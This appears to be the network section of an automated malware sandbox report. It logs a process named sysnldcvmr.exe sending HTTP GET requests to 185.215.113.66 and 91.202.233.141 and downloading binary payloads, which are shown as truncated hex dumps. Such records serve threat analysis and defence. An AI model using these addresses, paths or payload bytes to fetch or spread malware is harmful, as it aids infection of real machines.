_^hVf\n$0qC7BQn.}c/Yd=G-TSx&zwi:,aoouHn8ZxF^=RnUTD9'
Nov 28, 2024 18:18:41.727135897 CET	124	IN	Data Raw: 93 57 98 e3 4c ac 64 50 69 d5 5e 60 5a 42 6a 17 d0 32 d7 d9 a3 9b b5 09 7a 01 5c d5 9a f5 b4 51 04 76 c6 6d 7e 0d de 69 d1 63 ff bd c2 b8 2c 86 13 5e 38 49 df c1 51 01 c0 d9 12 0c ba 3d d0 82 60 7b 3d ce 3a 38 e6 8c dc 07 d6 cd 79 a1 7c 5e 57 03 Data Ascii: WLdPi^`ZBj2z\Qvm~ic,^8IQ=`{=:8y\|^WaO".m).=WP~TE
Nov 28, 2024 18:18:41.730559111 CET	1236	IN	Data Raw: 4c 42 63 2a 88 24 37 be 0d 52 6c ca 2d 11 74 6a 4f 1c 96 52 71 18 29 06 58 2e ed 84 4a d6 69 35 40 34 36 fa a4 03 08 6e 3d cc 79 d5 da 9b cd e5 49 62 a0 15 b7 25 90 b3 49 fd 19 9c 00 1d 6e be 47 6c 88 53 1f 7a bc b7 33 91 33 28 07 fa a3 3a 26 01 Data Ascii: LBc*$7Rl-tjORq)X.Ji5@46n=yIb%InGlSz33(:&eGco%bA;0=X^tiIIsnc:F&lU'/xJQHI9xJ :6A@dq"0o3zC4/mqM#~Ei
Nov 28, 2024 18:18:41.730573893 CET	1236	IN	Data Raw: 93 d9 75 84 fb 01 3a 8d e5 b7 91 3a 76 75 6b d3 6c a6 b9 fe a4 2f 47 5e 75 68 33 a0 76 87 6a 1a b3 ec d4 d7 f1 a1 5a c1 ff 30 43 2c 25 b0 ea 1e 1b 51 9d 20 86 8b df 35 f9 6d 0b 1e 79 38 0d bc 65 b9 0b 84 27 d9 2b 6f f9 7b 17 0e af 44 b6 38 8a 0b Data Ascii: u::vukl/G^uh3vjZ0C,%Q 5my8e'+o{D82.p/{hp'SS/g)WJ4)`&a0oc]Uo(4M'_sG@mxy6("S9%5]9[h1_&},fOnN
Nov 28, 2024 18:18:41.730588913 CET	248	IN	Data Raw: 7b 26 54 bb 8f 3b 49 5d 85 8d ef 23 d3 03 bf d7 a3 12 7a 16 b2 c0 04 d2 f8 59 ed 93 77 a1 9b 16 eb 38 08 4f 1f f3 41 a0 7b 13 e5 00 b1 6b dd 19 4b ed c5 fb 8c e7 26 47 0f 46 fb 4d 58 09 99 98 14 46 4a 2b a4 8e 49 0f b4 a7 97 24 3f bd 72 2d 3a 50 Data Ascii: {&T;I]#zYw8OA{kK&GFMXFJ+I$?r-:Pw_gN/6p"]c{1 NTSgA7\|I5Y&hOhAcUz(S7S})!s%F'GWfS\D5LR)r9X+%
Nov 28, 2024 18:18:41.731241941 CET	1236	IN	Data Raw: 89 71 be 79 12 82 18 46 ac a6 88 ba 3d 5a 96 af 3f a5 ef 1f e9 da 21 18 33 69 f5 e3 08 b7 9c 52 4d 92 10 87 70 e8 6c 0e e9 14 c4 c1 93 a8 2f 42 72 dd 86 d8 05 a9 18 6c fe 42 37 2d 2a 59 74 3b 7c 72 a6 7f bc 53 8f 84 17 e1 ce b6 df 7b 2e cc fe ad Data Ascii: qyF=Z?!3iRMpl/BrlB7-Yt;\|rS{.gdfow%f.tBH{:Ba{%dPL(Q6V>m:p@Nx!I EKJ{s`#UWr\|Df~Y:<@c?-G
Nov 28, 2024 18:18:41.731255054 CET	1236	IN	Data Raw: b8 f9 77 31 77 35 65 64 c5 bb ba 51 07 10 a4 ce 44 d9 db b7 71 e2 b5 48 ee fa 05 91 3d 1b c9 c6 91 2e ff f0 a9 7e 6f 84 73 ba 58 6f e7 75 df 92 c7 48 7f c8 65 50 e5 64 b8 74 ba 6e 71 60 59 36 47 34 c4 89 40 bc 81 34 47 fe 22 ff eb 45 4c 97 ef 2a Data Ascii: w1w5edQDqH=.~osXouHePdtnq`Y6G4@4G"EL-D$hOYCMt;Eby;tQfqV{#btFGqNPs%#@#&AG =OPpuLx!$A<k_xmO1>
Nov 28, 2024 18:18:41.731268883 CET	248	IN	Data Raw: c7 16 06 88 4f a6 d0 e2 07 16 8f d1 6f 4f ed 61 fd 2f f4 a0 9c 03 da 7f 60 b3 09 01 fb 75 30 18 7f f9 60 5d c4 9a c2 7e 36 ce f1 82 6c 67 ab 4d 68 f2 77 f9 52 c2 4f fa a0 61 6b e3 3a e6 0e 25 78 4e 3b a3 59 5d 02 e8 e2 07 c4 08 44 69 97 04 49 86 Data Ascii: OoOa/`u0`]~6lgMhwROak:%xN;Y]DiIYj`i@gnK= {}7NWSC"$Z^"Ld($]8,C"e0+Y_%}a\w_ra=N.>e@b#T\@A$FM.1
Nov 28, 2024 18:18:41.731926918 CET	1236	IN	Data Raw: 79 e0 10 dc 1e 09 05 37 4a 4b 50 68 04 09 8c bf 03 d1 17 2c 32 57 3e c1 e9 3e 7b b2 a3 5d 10 95 a7 74 b6 bd fe c6 c9 12 03 83 34 fd 15 69 cf c8 fe 55 b2 ed 61 ec 41 49 bc 64 a0 42 b3 ac 4a 85 83 00 2b 3a 92 4f 22 46 0c 37 26 dd da 56 a0 6e 23 a9 Data Ascii: y7JKPh,2W>>{]t4iUaAIdBJ+:O"F7&Vn#Rj*$.z"Wt,qNh"1=3Ib:Y!\fsAF),l;mN\|#{S?&P<G5IjYWY>q+fL~W5GXPY?ECjZ@
Nov 28, 2024 18:18:41.731964111 CET	1188	IN	Data Raw: 70 91 81 19 2c 59 8e f1 0a af 73 c4 90 b3 45 dd f9 e2 6e 1b 38 f2 81 c3 da ee d3 fd 57 21 09 ae 12 41 32 4f 75 e6 60 0d 48 d7 82 a7 f1 a9 30 77 2e f3 7a c7 2b ff f9 56 6a 32 57 ca bd 80 37 72 35 81 48 51 9e 7f a7 92 f4 bf ff de 88 c8 93 ee e2 5d Data Ascii: p,YsEn8W!A2Ou`H0w.z+Vj2W7r5HQ]Q(3j?vK={,m@^1?vHl6=Nke&u+bIB`#0s']B4/8>XuP_Q@(^OS$&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.10	49706	185.215.113.66	80	7656	C:\Windows\sysnldcvmr.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 18:18:43.111243010 CET	166	OUT	GET /1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 185.215.113.66
Nov 28, 2024 18:18:44.488215923 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 28 Nov 2024 17:18:44 GMT Content-Type: application/octet-stream Content-Length: 8960 Last-Modified: Fri, 18 Oct 2024 09:57:02 GMT Connection: keep-alive ETag: "671230ee-2300" Accept-Ranges: bytes Data Raw: 24 ca 67 ed 72 35 5d b1 46 f1 4d 5b 99 be 6f 06 49 cd 95 a1 a2 11 e9 12 d3 c7 e2 35 85 45 62 e3 98 c2 b5 e8 b3 c3 bf 4c 36 2c 95 69 25 c7 6b 5a 0e 12 d1 d0 d9 38 1e 82 f6 e8 65 50 49 7c 94 06 0f 9b 93 3c f5 9e 69 71 94 f4 be ed 23 e0 11 fd 01 bb d6 0f 4f 40 35 bd 1b 55 7c 2a 7b 60 29 b2 bc d2 5d 82 48 ae a6 d6 e5 8d b7 02 e1 04 86 78 c0 95 2d 88 ea 8d be 64 52 7e 41 f0 7d 22 32 c1 9b e2 e3 14 80 83 e5 cb 20 2b 9c 28 aa 2a ce 52 d2 6d ab 02 db b7 dc 64 f9 a7 cf 21 e1 c6 28 b0 93 0a 24 b9 ec 35 1a 74 e4 b2 b9 a3 cc 46 d5 5d c9 bc 99 ad 3c ab 67 22 d8 c7 97 f2 56 04 28 31 7d 8c 5d 43 1a 88 ae 8d 05 a9 18 e4 b6 73 33 0c 16 37 36 f3 e3 88 97 26 e4 9a b3 ae 0b 49 63 11 8c bf 25 74 ec e5 68 fd 49 ed 80 62 bd f3 a4 fe e9 d1 52 28 e2 bc d0 e5 01 15 9e 7d b8 da 49 45 ae fd 1b 3c fc a8 8a 03 da 5d 9c c4 a1 43 c5 12 ab c3 c4 39 c0 a4 db f5 78 69 7c 06 e7 0e 81 91 f3 84 d2 da f5 d6 2f d6 12 f8 e0 09 3e 79 9d 8a 34 6d e0 ad 0b 33 f0 e1 68 4f 83 05 9c da a4 1f 3b 02 c3 e0 a4 3c 85 7c ab 99 35 b0 2c af 30 dd 74 41 [TRUNCATED] Data Ascii: $gr5]FM[oI5EbL6,i%kZ8ePI\|<iq#O@5U\|{`)]Hx-dR~A}"2 +(Rmd!($5tF]<g"V(1}]Cs376&Ic%thIbR(}IE<]C9xi\|/>y4m3hO;<\|5,0tA`JNn;wesqT_:<fb7JH3& f1FGc&k,Jx+c`ws~(sFIT,5\)}-@.4>aue\v=IkB[Q2cLAlTrOUYmj#uUP>Y{,Tk3h,v)PTK3_++mNP[qeG9f\|[-&M~&14w_la/okwM_w^7Rgg%Tv}.Tp;dSuzFPHZIpz50g.`lK\V3tryl2R]?czmvo\ 0oN3aPV=BE\ _^hVf\n$0qC7BQn.}c/Yd=G-TSx&zwi:,aoouHn8ZxF^=RnUTD9'
Nov 28, 2024 18:18:44.488320112 CET	124	IN	Data Raw: 93 57 98 e3 4c ac 64 50 69 d5 5e 60 5a 42 6a 17 d0 32 d7 d9 a3 9b b5 09 7a 01 5c d5 9a f5 b4 51 04 76 c6 6d 7e 0d de 69 d1 63 ff bd c2 b8 2c 86 13 5e 38 49 df c1 51 01 c0 d9 12 0c ba 3d d0 82 60 7b 3d ce 3a 38 e6 8c dc 07 d6 cd 79 a1 7c 5e 57 03 Data Ascii: WLdPi^`ZBj2z\Qvm~ic,^8IQ=`{=:8y\|^WaO".m).=WP~TE
Nov 28, 2024 18:18:44.489069939 CET	1236	IN	Data Raw: 4c 42 63 2a 88 24 37 be 0d 52 6c ca 2d 11 74 6a 4f 1c 96 52 71 18 29 06 58 2e ed 84 4a d6 69 35 40 34 36 fa a4 03 08 6e 3d cc 79 d5 da 9b cd e5 49 62 a0 15 b7 25 90 b3 49 fd 19 9c 00 1d 6e be 47 6c 88 53 1f 7a bc b7 33 91 33 28 07 fa a3 3a 26 01 Data Ascii: LBc*$7Rl-tjORq)X.Ji5@46n=yIb%InGlSz33(:&eGco%bA;0=X^tiIIsnc:F&lU'/xJQHI9xJ :6A@dq"0o3zC4/mqM#~Ei
Nov 28, 2024 18:18:44.489093065 CET	1236	IN	Data Raw: 93 d9 75 84 fb 01 3a 8d e5 b7 91 3a 76 75 6b d3 6c a6 b9 fe a4 2f 47 5e 75 68 33 a0 76 87 6a 1a b3 ec d4 d7 f1 a1 5a c1 ff 30 43 2c 25 b0 ea 1e 1b 51 9d 20 86 8b df 35 f9 6d 0b 1e 79 38 0d bc 65 b9 0b 84 27 d9 2b 6f f9 7b 17 0e af 44 b6 38 8a 0b Data Ascii: u::vukl/G^uh3vjZ0C,%Q 5my8e'+o{D82.p/{hp'SS/g)WJ4)`&a0oc]Uo(4M'_sG@mxy6("S9%5]9[h1_&},fOnN
Nov 28, 2024 18:18:44.489104033 CET	248	IN	Data Raw: 7b 26 54 bb 8f 3b 49 5d 85 8d ef 23 d3 03 bf d7 a3 12 7a 16 b2 c0 04 d2 f8 59 ed 93 77 a1 9b 16 eb 38 08 4f 1f f3 41 a0 7b 13 e5 00 b1 6b dd 19 4b ed c5 fb 8c e7 26 47 0f 46 fb 4d 58 09 99 98 14 46 4a 2b a4 8e 49 0f b4 a7 97 24 3f bd 72 2d 3a 50 Data Ascii: {&T;I]#zYw8OA{kK&GFMXFJ+I$?r-:Pw_gN/6p"]c{1 NTSgA7\|I5Y&hOhAcUz(S7S})!s%F'GWfS\D5LR)r9X+%
Nov 28, 2024 18:18:44.489758968 CET	1236	IN	Data Raw: 89 71 be 79 12 82 18 46 ac a6 88 ba 3d 5a 96 af 3f a5 ef 1f e9 da 21 18 33 69 f5 e3 08 b7 9c 52 4d 92 10 87 70 e8 6c 0e e9 14 c4 c1 93 a8 2f 42 72 dd 86 d8 05 a9 18 6c fe 42 37 2d 2a 59 74 3b 7c 72 a6 7f bc 53 8f 84 17 e1 ce b6 df 7b 2e cc fe ad Data Ascii: qyF=Z?!3iRMpl/BrlB7-Yt;\|rS{.gdfow%f.tBH{:Ba{%dPL(Q6V>m:p@Nx!I EKJ{s`#UWr\|Df~Y:<@c?-G
Nov 28, 2024 18:18:44.489820957 CET	1236	IN	Data Raw: b8 f9 77 31 77 35 65 64 c5 bb ba 51 07 10 a4 ce 44 d9 db b7 71 e2 b5 48 ee fa 05 91 3d 1b c9 c6 91 2e ff f0 a9 7e 6f 84 73 ba 58 6f e7 75 df 92 c7 48 7f c8 65 50 e5 64 b8 74 ba 6e 71 60 59 36 47 34 c4 89 40 bc 81 34 47 fe 22 ff eb 45 4c 97 ef 2a Data Ascii: w1w5edQDqH=.~osXouHePdtnq`Y6G4@4G"EL-D$hOYCMt;Eby;tQfqV{#btFGqNPs%#@#&AG =OPpuLx!$A<k_xmO1>
Nov 28, 2024 18:18:44.489831924 CET	248	IN	Data Raw: c7 16 06 88 4f a6 d0 e2 07 16 8f d1 6f 4f ed 61 fd 2f f4 a0 9c 03 da 7f 60 b3 09 01 fb 75 30 18 7f f9 60 5d c4 9a c2 7e 36 ce f1 82 6c 67 ab 4d 68 f2 77 f9 52 c2 4f fa a0 61 6b e3 3a e6 0e 25 78 4e 3b a3 59 5d 02 e8 e2 07 c4 08 44 69 97 04 49 86 Data Ascii: OoOa/`u0`]~6lgMhwROak:%xN;Y]DiIYj`i@gnK= {}7NWSC"$Z^"Ld($]8,C"e0+Y_%}a\w_ra=N.>e@b#T\@A$FM.1
Nov 28, 2024 18:18:44.490613937 CET	1236	IN	Data Raw: 79 e0 10 dc 1e 09 05 37 4a 4b 50 68 04 09 8c bf 03 d1 17 2c 32 57 3e c1 e9 3e 7b b2 a3 5d 10 95 a7 74 b6 bd fe c6 c9 12 03 83 34 fd 15 69 cf c8 fe 55 b2 ed 61 ec 41 49 bc 64 a0 42 b3 ac 4a 85 83 00 2b 3a 92 4f 22 46 0c 37 26 dd da 56 a0 6e 23 a9 Data Ascii: y7JKPh,2W>>{]t4iUaAIdBJ+:O"F7&Vn#Rj*$.z"Wt,qNh"1=3Ib:Y!\fsAF),l;mN\|#{S?&P<G5IjYWY>q+fL~W5GXPY?ECjZ@
Nov 28, 2024 18:18:44.490719080 CET	1188	IN	Data Raw: 70 91 81 19 2c 59 8e f1 0a af 73 c4 90 b3 45 dd f9 e2 6e 1b 38 f2 81 c3 da ee d3 fd 57 21 09 ae 12 41 32 4f 75 e6 60 0d 48 d7 82 a7 f1 a9 30 77 2e f3 7a c7 2b ff f9 56 6a 32 57 ca bd 80 37 72 35 81 48 51 9e 7f a7 92 f4 bf ff de 88 c8 93 ee e2 5d Data Ascii: p,YsEn8W!A2Ou`H0w.z+Vj2W7r5HQ]Q(3j?vK={,m@^1?vHl6=Nke&u+bIB`#0s']B4/8>XuP_Q@(^OS$&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.10	49711	91.202.233.141	80	7656	C:\Windows\sysnldcvmr.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 18:18:47.424236059 CET	170	OUT	GET /gonup HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 91.202.233.141
Nov 28, 2024 18:18:48.794306993 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 28 Nov 2024 17:18:48 GMT Content-Type: application/octet-stream Content-Length: 81152 Last-Modified: Tue, 12 Nov 2024 22:30:16 GMT Connection: keep-alive ETag: "6733d6f8-13d00" Accept-Ranges: bytes Data Raw: 3e 6f 3f 5d 08 fd eb d4 2e a4 be 57 7f f0 79 da c6 cd 34 ac 9e c4 e6 c3 0f d5 04 91 b3 91 29 0e 58 da b0 46 4c c5 67 7d 4d cc dd a3 75 75 17 93 4e bf ad d7 e2 c2 13 69 2e 03 e4 ff 15 4f a6 4f 40 0c 24 2c 65 36 33 d3 a9 48 81 d4 d9 81 8f 02 84 85 56 85 ed 7e 52 ed 88 cd 56 aa dd 59 65 d9 99 05 5e 5e 7c 3b 51 85 02 46 fa 55 7f c8 af af 39 e7 56 6d 0f fd 3f 7d 87 e3 58 7c 9c b5 21 cc e3 c9 b5 11 24 3f ee 2f 56 82 7d a0 9a 07 dc a4 fa 43 f0 dd a7 5a 64 a9 07 f2 bc c8 fb e9 ac 3a 49 55 f2 1d 66 9c 33 f7 0f 77 67 72 d3 82 1f 88 6b 16 9c e9 76 2f 89 1e 0b 76 88 54 f8 3a 55 10 9e 8f 86 b7 e1 ef d2 a2 1b c1 66 ee 48 82 34 73 c3 e1 2c bc 68 fd d0 21 f5 2c bb e3 27 88 f0 1a 63 80 23 32 1e 13 c5 27 bd 2b 8f 7c 53 77 8c a1 be 1f 1c ac 07 23 95 8f 20 7e 38 b1 63 18 d8 51 ee f6 60 4d db 7e 1b 40 96 b0 2e fb 74 5e 21 82 80 9f 48 d3 c7 35 e1 99 b0 58 f4 e1 6f 5e 8c e1 f1 8d c1 cf 63 d8 bd d2 2b 54 1d 67 e1 3d a0 ba eb e3 98 25 a1 98 e8 d3 81 44 74 34 75 be 5d e6 25 67 05 25 5e 1b 6a 72 09 de e8 9b 22 87 53 d9 fd 8d [TRUNCATED] Data Ascii: >o?].Wy4)XFLg}MuuNi.OO@$,e63HV~RVYe^^\|;QFU9Vm?}X\|!$?/V}CZd:IUf3wgrkv/vT:UfH4s,h!,'c#2'+\|Sw# ~8cQ`M~@.t^!H5Xo^c+Tg=%Dt4u]%g%^jr"SFJ(sXsXw%fOm'1^(tJ0StBA5LK:E[k3R&. I,@A'N@97K]Ag#,^['+B1V2#U1$3h)VM(}y4h2bg(\|#{NW)&^?r`.hb&7$bb~b:'bcrxx&&`(Deuu5Dy=Pe4</T2Qb1pA9oXe(R@Lfl,DW*JZh\|^W]cf<PkHk4bGB}zQ\[JqI!znIV<^q#68+}!{.<TvPi`VlC&6~#5g@)wGf9wlr`n ()3+(3 Q294AY_x90r@:mi[72p6yMh
Nov 28, 2024 18:18:48.794363976 CET	1236	IN	Data Raw: b4 93 89 63 39 25 6e 55 b7 29 1c 62 02 48 82 e2 92 dd 36 c0 1c db c6 81 1e 11 3e fe 9d 6c 5a 9f f4 38 bf e8 56 bb 51 7c b8 c2 f0 3d ce 8c d2 05 db 47 d3 77 c1 db f3 76 9f cf e3 28 1a e2 c7 c8 07 b2 85 27 33 8a 87 bb 0d 80 3f 5d 75 bd a0 f4 ea fe Data Ascii: c9%nU)bH6>lZ8VQ\|=Gwv('3?]uk_8&'\B` O$B]5H!9=d.]<)q%'%-z\fP{t$$m+W@my<Kb`k#2&UjcE@ra
Nov 28, 2024 18:18:48.794377089 CET	1236	IN	Data Raw: e0 a8 73 bb 8b 76 47 40 7e 33 a5 dc 11 92 f4 67 af 03 7f bd cd cb 9c c2 49 2c ef 2c a3 96 a0 25 6f 3e aa 39 ae 12 d7 53 31 e7 fb a3 52 3b 02 79 dd 15 87 8f d8 dc 69 e3 25 b2 10 26 c5 ac e4 72 f4 69 2a 54 a8 e8 6f 51 7a c1 38 e3 72 d4 8d 4c b1 b5 Data Ascii: svG@~3gI,,%o>9S1R;yi%&ri*ToQz8rLA}0S"1GWmW5jD~UE0@N&oz,)]w%9i)+ON<AzzD@k6T.`x[Lv2/n-ZC
Nov 28, 2024 18:18:48.794452906 CET	672	IN	Data Raw: bc 34 1c 71 cb 5b 8e 49 88 a8 ad f2 a2 84 01 cf f9 56 76 ee 10 04 c6 ce 90 41 ca 0e e1 71 df d1 44 fa fe e1 24 48 8b a2 37 4d 44 ee 18 e7 75 65 a5 08 4e f3 42 41 1f 97 20 ca 87 69 00 37 e2 a0 8d ed c8 97 b6 0a a1 8c 78 66 bb b3 b8 d3 3a 76 29 20 Data Ascii: 4q[IVvAqD$H7MDueNBA i7xf:v) _sh}mLNWl@pXUGA`wWfFjzMFJQ_ '#e@5@qdc]Gm(Hzn586~e<s5VW'V+1u8R
Nov 28, 2024 18:18:48.794464111 CET	1236	IN	Data Raw: 79 65 73 10 7b 2e cf 15 26 46 41 96 75 fa cc 13 90 73 49 32 81 ad b0 54 0f 3b 61 84 76 3d 7d c3 76 f9 7a d9 55 bd 72 ef 88 8f ea 79 81 43 07 da 24 64 43 80 2d 56 f9 f0 80 a5 53 e1 90 35 3a 23 4c 0a 14 07 76 8d 6f cb 6a b9 d1 05 c4 b5 84 a4 05 72 Data Ascii: yes{.&FAusI2T;av=}vzUryC$dC-VS5:#Lvojr2wQcJfO6jRm>02YJp`PM*0uy[o"tQ@JJPl7re?Fc^u}rbG~h(>e!W{x4WM>Uw?8IxE~< eE}L
Nov 28, 2024 18:18:48.794504881 CET	1236	IN	Data Raw: 39 d7 bf 0f b9 f5 2f 37 d0 8f e5 35 96 92 d5 b7 44 06 26 30 09 74 79 d2 f1 0c 9c 7a 98 1a 25 f1 73 7d 1c e4 bb 45 2f c5 da cc 7d ce bd 12 0b cb 9a 37 e6 8f 4e d3 f7 5b 7d 77 22 b0 bd 72 5d eb e4 6c a2 3f fd e3 57 5e 38 03 10 7e 25 a8 c4 2a 07 5d Data Ascii: 9/75D&0tyz%s}E/}7N[}w"r]l?W^8~%*]:&p"6{NDf&lq-0ny5,=N)+..:i{}ck(-)j=&L/7wzqnUDXS(3
Nov 28, 2024 18:18:48.794518948 CET	1236	IN	Data Raw: 37 99 43 d6 c0 fc c6 9d 11 46 a6 71 d3 df 26 0d dc 34 48 b5 ec 76 5e 41 a5 fc 15 01 fe 47 57 cf c8 c5 5a 42 e4 7f 01 e1 ff fa 60 c3 42 f8 b2 f9 e5 99 03 fb c4 fd 2c b0 4e bc a5 01 0b b2 f5 26 de f4 f1 64 8e 17 ae 2e f0 73 4e b2 41 3d e1 af 3f e5 Data Ascii: 7CFq&4Hv^AGWZB`B,N&d.sNA=?R=G~7~af_tIJE8]Qi`h4JTK#*6m$b^XqlnymvdMXeR(u`%i
Nov 28, 2024 18:18:48.794529915 CET	1236	IN	Data Raw: 18 cc cd 2e 2c 93 be f5 64 21 53 28 67 7c 9f 84 16 87 23 f1 17 86 59 2e 5f d2 2e 27 47 91 31 39 a5 fa 7b 79 75 f2 ca f2 20 69 fa 3e 65 90 eb d4 bd 73 bc e1 3b dd 6e c3 13 13 6a 1c 1c 3a ee 0c a0 13 63 dd 75 a0 5e be b1 11 24 13 7d df 1e 5b 85 91 Data Ascii: .,d!S(g\|#Y._.'G19{yu i>es;nj:cu^$}[ypBK(8l~nxpYD93ztk+;+.N)TUadbh#^cQ=?`[7Ln]GEADWPMJGRpi2eKKcBS/<
Nov 28, 2024 18:18:48.794764996 CET	328	IN	Data Raw: 75 85 fd 8b 7b 64 6d 67 e3 96 2f 34 31 cf ed 26 97 8e 88 d4 44 92 20 bc bf 81 65 42 f1 9e 7b 72 7f 6a 20 c5 82 f0 20 e7 5b b8 a8 24 e7 c4 c3 5d ed 53 61 0a 7d 71 e8 5a 71 31 23 11 4e 0c 36 e1 f5 75 b1 a5 65 23 90 7e 5c e6 63 50 19 23 7a ff 83 74 Data Ascii: u{dmg/41&D eB{rj [$]Sa}qZq1#N6ue#~\cP#ztb`kkI4&"/V+n^@8To#)ldAzEy<0kUC^C~v*5kYvJRZD,pZI\|{2Q+7>+%i7^V.-(
Nov 28, 2024 18:18:48.794778109 CET	1236	IN	Data Raw: 67 14 51 95 3d b3 54 99 9a da 81 fc b7 14 12 2e 98 5e ac b1 fa 83 8b 5e 72 08 07 18 26 36 93 86 0e 4c 5e c4 84 31 fc 1b f4 c2 86 23 15 ae 6e e9 7a 33 d6 17 1e 43 cf 1b af e2 88 13 f3 c9 6a d5 1e 63 83 83 33 4d f4 a6 45 24 c6 a4 1e a2 0f 21 a5 82 Data Ascii: gQ=T.^^r&6L^1#nz3Cjc3ME$!#b8jKWajy/'5nZe9m$5)^i\|$p>P!t1a~i4n T'HMjEzkxn9qlWj_q=6GnC\|K[Yu
Nov 28, 2024 18:18:48.922482014 CET	1236	IN	Data Raw: 83 cc 50 6d 19 87 5d 0f a0 59 a1 75 1a 55 87 4f 12 81 3e 07 c5 c8 99 bb 5a ab 96 a0 d1 93 3c 3a 8d 73 00 02 cf d0 0d 1d 43 4a 31 c0 43 bb 44 33 ff f4 85 f5 e5 22 2d b2 73 35 bb 4d ca ec e5 d3 95 6e d1 e6 06 6a 1c 25 e2 39 2d ad 06 74 b0 74 d2 b9 Data Ascii: Pm]YuUO>Z<:sCJ1CD3"-s5Mnj%9-ttE)8.,Z-1ojcfT"skh/YQmFv24VD,`R;&-!Q'rc@=;W@RN:Q"d,M$:Y[fy<a e

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.10	49712	185.215.113.66	80	7656	C:\Windows\sysnldcvmr.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 18:18:49.693259001 CET	166	OUT	GET /2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 185.215.113.66
Nov 28, 2024 18:18:51.034643888 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 28 Nov 2024 17:18:50 GMT Content-Type: application/octet-stream Content-Length: 10496 Last-Modified: Sun, 20 Oct 2024 18:34:00 GMT Connection: keep-alive ETag: "67154d18-2900" Accept-Ranges: bytes Data Raw: 13 e3 aa 7c f1 40 76 43 29 84 09 02 71 ae 39 fc df 9d fa 02 4b d8 7b 3e ae 0c e2 64 38 f9 d3 27 da 73 10 d1 ca f9 f2 4a f8 ad aa 12 e8 fa c9 50 6e f5 a1 6b 88 56 c2 7a 1f 17 e8 40 57 00 b2 8f df 4c 7b e3 14 75 47 bf 27 47 31 bb 43 4c 8e e7 b4 40 14 db 1d 3c 42 cc e1 36 dc d3 3b 91 3e 68 4d 15 e2 5c e6 98 da 7c 77 03 42 8c 76 ca a5 9a 81 db a1 ec 75 f2 84 a2 67 09 f0 c5 b4 4f 58 86 25 fc 20 b3 68 fa 72 39 3a 7c e0 1b f5 e8 b0 73 b6 f8 3c 81 36 fa 29 81 67 e8 ee 34 47 6c 59 b9 7f 18 32 42 66 14 35 b3 8d e2 41 8d e5 92 2b 47 1f c0 93 b3 28 d8 54 2d 6f 45 f1 c3 5a cf 49 32 33 d3 7b ac a8 27 33 c1 c9 e0 29 60 f9 b3 d3 5e 65 37 6a 7a 2f 4d 24 73 1b 93 bb fa 91 d2 34 ce 9b 19 db d6 2a 31 36 f0 a2 ab 92 6d 08 d9 66 72 6e 07 c5 44 44 2c 9e af ae ce d3 fb 57 61 28 cd 32 90 44 0e c3 39 95 a9 ab 17 e4 0d 16 a5 f0 c2 e3 78 c3 de e1 fa ff 86 d7 ae ab 06 ba 5a 6b 34 44 61 15 d3 b1 85 29 3f 83 f4 5f 68 10 ed 8d d7 73 41 11 b6 57 f3 ed 02 fa a4 42 32 ff 99 d6 ea 0a 63 48 51 ba 54 b5 00 01 83 3d 9e bb 55 dd 93 1c e5 [TRUNCATED] Data Ascii: \|@vC)q9K{>d8'sJPnkVz@WL{uG'G1CL@<B6;>hM\\|wBvugOX% hr9:\|s<6)g4GlY2Bf5A+G(T-oEZI23{'3)`^e7jz/M$s4*16mfrnDD,Wa(2D9xZk4Da)?_hsAWB2cHQT=U@3}!YGCX{ 4"&h0.'xu#c\|gL0)cM]oL{:En:?\|_XPQ@ 3.o)ua[I+fZM% ]2uz_Gwt0bFaMTd2Y&TMXP}+OpQEo6R;P>8`2'"~CZ_,2g $l"x:h;H`$-6_-eC?6T=qL3&fG)WG@6X~%X%RCh?R].fbU!PHh"Rj,dk.e\~hn(,G<u16tlw;p;yrSC_M6XhtG7zsHP,e_ddcn^M+ct\0jr>;_nq>xezw
Nov 28, 2024 18:18:51.034725904 CET	224	IN	Data Raw: b6 6f 0a 0a 83 25 6b 6b 77 fa e4 46 67 eb d9 41 2f aa 63 53 82 83 51 d9 2f 3d 63 6a 82 33 0b 6f 95 13 e1 9f 36 1b ba cb fb f5 6f 57 bb 40 bd 1d a5 c1 57 98 12 18 b1 98 2c ff 21 39 d5 d8 8c 8b 48 74 d5 8a 79 fc c5 75 bb aa e4 d3 c1 a0 97 29 d7 96 Data Ascii: o%kkwFgA/cSQ/=cj3o6oW@W,!9Htyu)PU:vO'8O>*B aw'&iEpRaMZ\|3Fk<lQ;GbPMlh5}8m;aj
Nov 28, 2024 18:18:51.034739017 CET	1236	IN	Data Raw: 57 2c cc 4e e9 93 b3 98 99 37 7f 26 84 18 f6 89 b3 51 4b 68 2e aa eb 28 5b 67 c2 09 58 43 b9 1d 1d 19 7e af c3 53 17 6c 0b ba b5 b6 6d f0 37 9e 17 bc da b3 c1 05 6c f2 93 67 30 bd 68 64 0b ea eb 37 92 a2 00 4e 6e 79 4d 38 25 da 04 51 66 b1 37 19 Data Ascii: W,N7&QKh.([gXC~Slm7lg0hd7NnyM8%Qf7\|VbF9?gk{is6u_pi!F`L4<c_^F992M\v)=Ov+uQP>"B SE<h76\
